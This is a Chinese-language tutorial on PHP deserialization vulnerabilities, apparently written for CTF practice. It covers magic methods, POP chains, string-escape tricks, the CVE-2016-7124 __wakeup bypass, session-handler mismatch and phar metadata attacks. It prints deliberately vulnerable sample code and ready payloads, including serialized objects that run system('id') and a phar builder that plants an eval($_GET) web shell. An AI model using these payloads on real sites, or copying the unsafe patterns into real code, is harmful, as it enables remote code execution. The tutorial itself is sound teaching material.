PHP反序列化漏洞 一、基础知识 php面向对象的基本概念 类与对象
1 2 3 4 5 6 7 8 9 10 11 12 13 class hero { var $name ; public $sex ; function ( ) { echo $this ->name; } } $cyj = new hero ();$cyj ->name='chengyaojin' ; $cyj ->sex='male' ;$cyj ->function ( ) ;print_r ($cyj ); ->输出name和sex
public:任何地方调用
protected:外部不允许调用
private:子类、外部不允许调用
php中的继承:class hero2 extends hero{...}
PHP序列化:对象->字符串 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 null -> N;666 -> i:666 ;66.6 -> d:66.6 ;true -> b:1 ;false -> b:0 ;'benben' -> s:6 :"benben" ; array ('benben' ,'dazhuang' ,'laoliu' ); -> a (array 数组):3 (参数数量):{i:0 (编号);s:6 :"benben" ;i:1 ;s:8 :"dazhuang" ;i:2 ;s:6 :"laoliu" ;} class test { public $pub ='benben' ;} -> O (object 对象):4 (类名长度):"test" (类名):1 (变量数量不包含函数):{s:3 :"pub" ;s:6 :"benben" ;(分别是名字和值)..;...;}class test { private (私有) $pub ='benben' ;} -> O (object 对象):4 (类名长度):"test" (类名):1 (变量数量不包含函数):{s:9 :"testpub" (加上了%00 +类名+%00 ,所以长度是9 );s:6 :"benben" ;(分别是名字和值)}(%00 是空) class test { protected $pub ='benben' ;} -> O (object 对象):4 (类名长度):"test" (类名):1 (变量数量不包含函数):{s:6 :"*pub" ;s:6 :"benben" (加的是%00 +*+%00 );(分别是名字和值)..;...;}class test2 { var ben; function _construct { ben=new test (); }} -> O:5 :"test2" :1 :{s:3 :"ben" ;O:4 :"test" :1 :{s:3 :"pub" ;s:6 :"benben" ;}}
PHP反序列化 反序列化生成的是一个对象,如果没有这个类,有报错,也可以执行
反序列化生成的对象的值,又反序列化内的值提供,与预定义的默认值无关
反序列化不触发类的方法,需要用魔术方法
我们反序列化的代码,要用%00进行urldecode($d)
1 2 3 4 5 $d ='O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"%00*%00b";i:666;s:7:"%00test%00c";b:0;}' ;$d =urldecode ($d );var_dump (unserialize ($d ));$f =unserialize ($d );$f ->displayVar ();
二、反序列化漏洞基础 反序列化漏洞的成因:unserialize接受的值可控
例题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php highlight_file (__FILE__ );error_reporting (0 );class test { public $a = 'echo "this is test!!";' ; public function displayVar ( ) { eval ($this ->a); } } $get = $_GET ["benben" ];$b = unserialize ($get );$b ->displayVar () ;?>
利用:让$b成为test类的一个对象,构造$a,调用eval函数,执行命令
1 ?benben=O:4 :"test" :1 :{s:1 :"a" ;s:13 :"system(" id");" ;}
魔术方法 魔术方法:一个预定义的,特定情况触发的行为方法
重点:触发时机 ,功能,参数,返回值
1.__construct() 实例化一个对象的时候,会自动执行构造函数 $a=new User(“benben”);
2.__destruct() 销毁一个对象会自动调用,我们反序列化生成的对象也会自动调用析构函数!
3.__wakeup() 反序列化unserialize()之前自动调用__wakeup()
不需要构造所有的类属性,只用构造有用的
4.__sleep() serialize()函数之前会自动调用__sleep()
功能:返回被序列化存储的成员属性 参数:属性,不必要
1 2 3 4 public function __sleep ( ) { return array ('username' , 'nickname' ); }
5.__toString() 表达方式错误时触发,构造pop
1 2 3 4 5 6 7 8 $test = new User () ;print_r ($test );echo "<br />" ;echo $test ; print $test ; 文件操作函数加一个对象,也会触发 file_exists ($test );. 是字符串连接符,当然也可以调用
6.__invoke() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php highlight_file (__FILE__ );error_reporting (0 );class User { var $benben = "this is test!!" ; public function __invoke ( ) { echo '它不是个函数!' ; } } $test = new User () ;echo $test ->benben;echo "<br />" ;echo $test () ->benben; ?> this is test!! 它不是个函数!
7.__call() 调用时机:当调用对象的一个不存在的方法时触发 参数:可传入参数,默认2个($不存在方法的名字,$传入的参数名字)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file (__FILE__ );error_reporting (0 );class User { public function __call ($arg1 ,$arg2 ) { echo "$arg1 ,$arg2 [0]" ; } } $test = new User () ;$test -> callxxx ('a' );?> callxxx,a
8.__callStatic() 静态调用不存在的方法$test::callxxx('a');
其他与call相同
9.__get() 当成员属性不存在时调用
$test->var2;
变量不存在时会调用
默认传参不存在的变量名,$arg1
10.__set() 当给不存在的成员属性赋值时触发
参数:属性名,传入的值
11.__isset() 当对不可访问属性(private,protected或者不存在 )使用isset()或empty(),isset()会被调用
传参$arg1:不存在的成员属性名称
12.__unset() 当对不可访问属性或不存在的属性使用unset()触发
传参$arg1:不存在的成员属性名称
13.__clone() 当使用clone关键字完成拷贝一个对象后,新对象会自动调用定义的魔术方法__clone()
1 2 $test = new User () ;$newclass = clone ($test );
POP链前置知识 1.例题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php highlight_file (__FILE__ );error_reporting (0 );class index { private $test ; public function __construct ( ) { $this ->test = new normal (); } public function __destruct ( ) { $this ->test->action (); } } class normal { public function action ( ) { echo "please attack me" ; } } class evil { var $test2 ; public function action ( ) { eval ($this ->test2); } } unserialize ($_GET ['test' ]);?>
#eval->action()->__destruct()->$test,需要把test变成evil对象,反序列化的时候定义$test为new evil()->赋值test2进行利用
反序列化不会触发__construct(),可以写入$test
在构造序列化字符串时,可以编写程序,略去无关的函数和类,把需要赋值的数据写上即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class index { private $test ; public function __construct ( ) { $this ->test = new evil (); } } class evil { var $test2 ="system('id');" ; } echo serialize (new index ());?>
或者假设$test是public ,构造完之后再加上%00index%00:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class index { var $test ; } class evil { var $test2 ; } $a =new evil ();$a ->test2='system("ls -l");' $b =new index ();$b ->test=$a ;echo serialize ($b );?>
2.魔术方法触发的前提:魔术方法所在的类或对象被调用(也就是new函数)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__ );error_reporting (0 );class fast { public $source ; public function __wakeup ( ) { echo "wakeup is here!!" ; echo $this ->source; } } class sec { var $benben ; public function __tostring ( ) { echo "tostring is here!!" ; } } $b = $_GET ['benben' ];unserialize ($b );?>
如果反序列化对应的类里没有__wakeup()函数,那么不会执行
构造语句:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class fast { public $source ; } class sec { var $benben ; } $a =new sec ();$b =new fast ();$b ->source=$a ;echo serialize ($b );?> O:4 :"fast" :1 :{s:6 :"source" ;O:3 :"sec" :1 :{s:6 :"benben" ;N;}}
三、反序列化漏洞利用 1.POP链的构造 也就是通过魔术方法的多次跳转来获取敏感数据,倒推法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php highlight_file (__FILE__ );error_reporting (0 );class Modifier { private $var ; public function append ($value )#2:想办法调用append ( ),而且$value 必须是flag .php ,从而而读取出来$flag { include ($value ); echo $flag ; } public function __invoke ( ) { $this ->append ($this ->var ); } } class Show { public $source ; public $str ; public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { echo $this ->source; } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } if (isset ($_GET ['pop' ])){ unserialize ($_GET ['pop' ]); } ?>
__construct():在反序列化没用
正向分析:
1 2 3 4 5 6 构造Show对象的反序列化,触发__wakeup () 构造$source 为Show对象,让对象以错误的方法输出,自动调用__toString () 构造$str 为Test,实现访问类内不存在的变量,自动调用Test的__get () 构造$p 为Modifier,从而实现类名被当做函数使用,自动调用Modifier里的__invoke () __invoke ()调用了append ($var ),传入$var =flag.phpappend ()函数自动读取flag
构造POC:删掉所有函数,赋值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class Modifier { private $var ='flag.php' ; } class Show { public $source ; public $str ; } class Test { public $p ; } $test =new Test ();$show =new Show ();$show ->source=$show ;$show ->str=$test ;$mod =new Modifier ();$test ->p=$mod ;echo serialize ($show );?> O:4 :"Show" :2 :{s:6 :"source" ;r:1 ;s:3 :"str" ;O:4 :"Test" :1 :{s:1 :"p" ;O:8 :"Modifier" :1 :{s:13 :"%00Modifier%00var" ;s:8 :"flag.php" ;}}} 记得改%00
四、字符串逃逸基础 应对的是题目把你输入的指令序列化,过滤,再反序列化
1、字符减少——吃 当反序列化添加了不存在的属性,必须把属性个数增加
如果成员个数与大括号内不一致,报错bool(false),字符串长度必须正确,否则报错
如果缺少了类内的某个变量,序列化之后的对象会自动赋默认值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ;} <?php highlight_file (__FILE__ );error_reporting (0 );class A { public $v1 = "abcsystem()system()system()" ; public $v2 = '123' ; public function __construct ($arga ,$argc ) { $this ->v1 = $arga ; $this ->v2 = $argc ; } } $a = $_GET ['v1' ];$b = $_GET ['v2' ];$data = serialize (new A ($a ,$b ));$data = str_replace ("system()" ,"" ,$data );var_dump (unserialize ($data ));?>
在经过str_replace()处理之后,字符串的长度已经和数字不同,反序列化失败
此时序列化的字符串变成了:O:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}
11个顺序向下读取,v1的值变成abc";s:2:"v
如果把123之前的代码全部吃掉abc";s:2:"v2";s:3:"
,那么123处就能成为功能性代码
注意:图中少了分号,计算的时候,要把双引号吃掉!用xx数个数是因为,v2的值是我们构造的代码,一般长度超过十位数,用两位xx代替计算
abc";s:2:"v2";s:xx:"
吃掉20个,去掉abc还需要吃17个 ,需要3个system(),24个多出来7个,那就让最后加上7个字符1234567
绿色部分是要构造的字符串,我们创建一个新属性进行逃逸
这个新属性首先要闭合我们吃掉的双引号,再加上分号 闭合之前的语句,之后就可以构造想要的属性了,最后记得用;}闭合语句,这样就注释掉了原本的”;
反序列化生成的是三个属性的对象,v2是默认值
例题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );error_reporting (0 );function filter ($name ) { $safe =array ("flag" ,"php" ); $name =str_replace ($safe ,"hk" ,$name ); return $name ; } class test { var $user ; var $pass ; var $vip = false ; function __construct ($user ,$pass ) { $this ->user=$user ; $this ->pass=$pass ; } } $param =$_GET ['user' ];$pass =$_GET ['pass' ];$param =serialize (new test ($param ,$pass ));$profile =unserialize (filter ($param ));if ($profile ->vip){ echo file_get_contents ("flag.php" ); } ?>
构造poc
1 2 3 4 5 6 7 8 9 <?php class test { var $user ="flag" ; var $pass ="benben" ; var $vip =true ; } echo serialize (new test ());O:4 :"test" :3 :{s:4 :"user" ;s:4 :"flag" ;s:4 :"pass" ;s:6 :"benben" ;s:3 :"vip" ;b:1 ;}
我们要构造";s:3:"vip";b:1;}
flag是吃2个,php吃1个,吃掉的部分是";s:4:"pass";s:xx:"
吃19个->10个flag,多一个,在benben之前加个1
user=flagflagflagflagflagflagflagflagflagflag
pass=1”;s:3:”vip”;b:1;}
因为我们吃掉了pass属性,object处的个数不对,所以这里还要构造一个pass属性
pass=1”;s:4:”pass”;s:6:”benben”;s:3:”vip”;b:1;}
2.字符增多——吐 把原本属于字符串的代码吐出来,在一个变量即可完成
1 2 3 4 5 $data = str_replace ("ls" ,"pwd" ,$data ); O:1 :"A" :2 :{s:2 :"v1" ;s:2 :"ls" ;s:2 :"v2" ;s:3 :"123" ;} -> O:1 :"A" :2 :{s:2 :"v1" ;s:2 :"pwd" ;s:2 :"v2" ;s:3 :"123" ;} $v1 =lslslslslslslslslslsls.....lsls";s:2:" v3";s:3:" 666 ";}
实际应用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php highlight_file (__FILE__ );error_reporting (0 );function filter ($name ) { $safe =array ("flag" ,"php" ); $name =str_replace ($safe ,"hack" ,$name ); return $name ; } class test { var $user ; var $pass ='daydream' ; function __construct ($user ) { $this ->user=$user ; } } $param =$_GET ['param' ];$param =serialize (new test ($param )); $profile =unserialize (filter ($param ));if ($profile ->pass=='escaping' ){ echo file_get_contents ("flag.php" ); } ?>
php会变成hack,长度增加,吐代码,一次吐一个
构造poc:
1 2 3 4 5 6 7 8 9 10 11 <?php class test { var $user ="benben" ; var $pass ="escaping" ; } echo serialize (new test ());O:4 :"test" :2 :{s:4 :"user" ;s:6 :"benben" ;s:4 :"pass" ;s:8 :"escaping" ;} $param =phpphp...29 ...php";s:4:" pass";s:8:" escaping";}
五、wakeup绕过 CVE-2016-7124
如果属性个数大于真实属性个数,会跳过___wakeup()的执行
php5<5.6.25 php7<7.0.10
1 2 3 4 5 6 7 function __wakeup ( ) { $this ->file='index.php' ; } preg_match ('/[oc]:\d+:/i' ,$cmd ) O:+6 :"secret" :2 :{s:4 :"file" ;s:8 :"flag.php" ;} O%3 A%2 B6%3 A%22 secret%22 %3 A2%3 A%7 Bs%3 A4%3 A%22 file%22 %3 Bs%3 A8%3 A%22 flag.php%22 %3 B%7 D
影响代码执行
六、引用的利用方式 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php include ("flag.php" );class just4fun { var $enter ; var $secret ; } if (isset ($_GET ['pass' ])) { $pass = $_GET ['pass' ]; $pass =str_replace ('*' ,'\*' ,$pass ); } $o = unserialize ($pass );if ($o ) { $o ->secret = "*" ; if ($o ->secret === $o ->enter) echo "Congratulation! Here is my secret: " .$flag ; else echo "Oh no... You can't fool me" ; } else echo "are you trolling?" ;?> $a =new just4fun ();$a ->enter=&$a ->secret; echo serialize ($a );O:8 :"just4fun" :2 :{s:5 :"enter" ;N;s:6 :"secret" ;R:2 ;}
七、session反序列化 session
当session_start()被调用或者php.ini的session.auto_start为1时,PHP内部会调用会话管理器,访问用户session被序列化后,存储到指定目录,默认为/tmp,sess_??????
存储数据的格式有很多种,常见的有三种
漏洞产生:写入格式与读取格式不一致
1.benben|s:6:”123456” 默认是php处理
2.php_serialize:声明ini_set(‘session.serialize_handler’,’php_serialize’);
a:2:{s:6:"benben";s:8:"dazhuang";s:1:"b";s:3:"666";}
以数组形式存储
3.php_binary:ini_set(‘session.serialize_handler’,’php_binary’);
二进制的06代表键长度
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );error_reporting (0 );ini_set ('session.serialize_handler' ,'php_serialize' );session_start ();$_SESSION ['ben' ] = $_GET ['a' ];?> <?php highlight_file (__FILE__ );error_reporting (0 );ini_set ('session.serialize_handler' ,'php' );session_start ();class D { var $a ; function __destruct ( ) { eval ($this ->a); } } ?>
两段代码以不同的方式分别对session进行读写,引起反序列化漏洞
我们写入|O:1:"D":1:{s:1:"a";s:13:"system("id");";}
经过php_serialize的方式写入之后变成a:1:{s:3:”ben”;s:39:”|O:1:”D”:1:{s:1:”a”;s:13:”system(“id”);”;}”;}
经过php方式读取时,会误以为竖线前面的是键名,后面是反序列化的值,于是生成了我们需要的D对象
例题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ ); hint.php可以提交session,使用php_serialize方法 session_start ();class Flag { public $name ; public $her ; function __wakeup ( ) { $this ->her=md5 (rand (1 , 10000 )); if ($this ->name===$this ->her){ include ('flag.php' ); echo $flag ; } } } ?>
使用引用来做
$a->name=&$a->her;
构造前面加一个竖线
八、phar反序列化 如果没有反序列化的点,可以上传文件可用phar
类似于jar的一种打包文件,php>5.3默认开启
利用phar伪协议读取.phar文件
$phar结构$
文件标识,格式为xxx<?php xxx;__HALT_COMPiler;?>
mainfest压缩文件的属性信息,以序列化 存储
content内容 signature签名
phar协议解析文件时,会自动触发 对mainfest字段的反序列化
1 2 3 4 5 6 7 8 9 10 11 class Testobj { var $output ="echo 'ok';" ; function __destruct ( ) { eval ($this ->output); } } $filename =$_GET ['filename' ];var_dump (file_exists ($filename ));?filename=phar:
配合文件上传使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class Testobj //改成你的类名 { var $output ='' ; } @unlink ('test.phar' ); $phar =new Phar ('test.phar' ); $phar ->startBuffering (); $phar ->setStub ('<?php __HALT_COMPILER(); ?>' ); $o =new Testobj ();$o ->output='eval($_GET["a"]);' ;$phar ->setMetadata ($o );$phar ->addFromString ("test.txt" ,"test" ); $phar ->stopBuffering ();?>
phar://协议不看后缀,上传jpg/png都可以成功读取
要有可用的反序列化魔术方法作为跳板 __destruct __wakeup
要有文件操作函数
文件操作函数参数可控,不过滤 : / phar